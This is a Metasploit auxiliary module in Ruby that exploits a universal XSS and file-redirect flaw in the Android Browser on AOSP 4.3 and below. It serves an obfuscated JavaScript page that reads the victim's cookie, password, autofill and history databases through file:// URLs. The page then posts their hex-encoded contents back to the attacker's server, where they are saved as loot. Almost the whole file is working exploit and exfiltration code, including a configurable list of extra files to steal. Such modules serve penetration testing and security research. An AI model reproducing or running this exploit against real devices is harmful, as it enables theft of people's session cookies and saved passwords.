181 lines
5.6 KiB
Ruby
181 lines
5.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/jsobfu'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::JSObfu
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Android Browser File Theft',
|
|
'Description' => %q{
|
|
This module steals the cookie, password, and autofill databases from the
|
|
Browser application on AOSP 4.3 and below.
|
|
},
|
|
'Author' => [
|
|
'Rafay Baloch', # Found UXSS bug in Android Browser
|
|
'joev' # File redirect and msf module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [[ 'WebServer' ]],
|
|
'PassiveActions' => [ 'WebServer' ],
|
|
'References' =>
|
|
[
|
|
# patch for file redirection, 2014
|
|
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
|
|
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
|
|
],
|
|
'DefaultAction' => 'WebServer'
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('ADDITIONAL_FILES', [
|
|
false,
|
|
'Comma-separated list of addition file URLs to steal.',
|
|
]),
|
|
OptBool.new('DEFAULT_FILES', [
|
|
true,
|
|
'Steals a default set of file URLs',
|
|
true
|
|
])
|
|
])
|
|
end
|
|
|
|
def run
|
|
exploit
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.method.downcase == 'post'
|
|
process_post(cli, request)
|
|
send_response_html(cli, '')
|
|
else
|
|
print_status('Sending exploit landing page...')
|
|
send_response_html(cli, exploit_html)
|
|
end
|
|
end
|
|
|
|
def process_post(cli, request)
|
|
data = JSON.parse(request.body)
|
|
contents = hex2bin(data['data'])
|
|
file = File.basename(data['url'])
|
|
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
|
|
loot_path = store_loot(
|
|
file,
|
|
'application/x-sqlite3',
|
|
cli.peerhost,
|
|
contents,
|
|
File.basename(data['url']),
|
|
"#{cli.peerhost.ljust(16)} Android browser file"
|
|
)
|
|
print_good("Saved to: #{loot_path}")
|
|
end
|
|
|
|
|
|
def file_urls
|
|
default_urls = [
|
|
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
|
|
'file:///data/data/com.android.browser/databases/webview.db',
|
|
'file:///data/data/com.android.browser/databases/autofill.db',
|
|
'file:///data/data/com.android.browser/databases/browser2.db',
|
|
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
|
|
'file:///data/data/com.android.browser/app_databases/Databases.db',
|
|
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
|
|
]
|
|
|
|
unless datastore['DEFAULT_FILES']
|
|
default_urls = []
|
|
end
|
|
|
|
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
|
|
end
|
|
|
|
def exploit_html
|
|
%Q|
|
|
<!doctype html>
|
|
<html>
|
|
<body>
|
|
<script>#{exploit_js}</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def exploit_js
|
|
js_obfuscate %Q|
|
|
window.onmessage = function(e) {
|
|
var x = new XMLHttpRequest;
|
|
x.open("POST", location.href);
|
|
x.send(JSON.stringify(e.data))
|
|
};
|
|
|
|
|
|
function xss() {
|
|
var urls = (#{JSON.generate(file_urls)});
|
|
function tick() {
|
|
setTimeout(function() { next(urls.shift()); });
|
|
};
|
|
window.onmessage = tick;
|
|
|
|
function next(url) {
|
|
if (!url) return;
|
|
try {
|
|
var f = document.createElement('iframe');
|
|
f.src = url;
|
|
f.onload = function() {
|
|
f.onload = null;
|
|
function nested() {
|
|
var x = new XMLHttpRequest;
|
|
x.open('GET', location.href);
|
|
x.responseType = 'arraybuffer';
|
|
x.send();
|
|
x.onload = function() {
|
|
var buff = new Uint8Array(x.response);
|
|
var hex = Array.prototype.map.call(buff, function(d) {
|
|
var c = d.toString(16);
|
|
return (c.length < 2) ? 0+c : c;
|
|
}).join(new String);
|
|
/*ensures there are no 'not allowed' responses that appear to be valid data*/
|
|
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
|
|
top.postMessage({data:hex,url:location.href}, '*');
|
|
}
|
|
parent.postMessage(1,'*');
|
|
};
|
|
x.onerror = function() {
|
|
parent.postMessage(1,'*');
|
|
};
|
|
}
|
|
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
|
|
f.contentWindow.location = "";
|
|
};
|
|
document.body.appendChild(f);
|
|
} catch(e) {t();}
|
|
};
|
|
|
|
tick();
|
|
|
|
}
|
|
|
|
var brokenFrame = document.createElement('iframe');
|
|
brokenFrame.src = 'http://localhost:100';
|
|
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
|
|
brokenFrame.onload = function() {
|
|
brokenFrame.onload = null;
|
|
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
|
|
brokenFrame.contentWindow.location = "";
|
|
};
|
|
document.body.appendChild(brokenFrame);
|
|
|
|
|
end
|
|
|
|
# TODO: Make this a proper Rex::Text function
|
|
def hex2bin(hex)
|
|
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
|
|
end
|
|
end
|